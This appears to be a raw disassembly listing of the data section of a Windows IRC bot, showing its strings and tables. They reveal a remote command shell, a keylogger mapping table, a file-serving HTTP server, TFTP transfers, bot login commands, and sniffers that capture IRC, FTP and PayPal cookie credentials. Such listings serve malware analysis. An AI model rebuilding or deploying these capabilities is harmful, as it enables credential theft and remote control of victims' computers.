aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
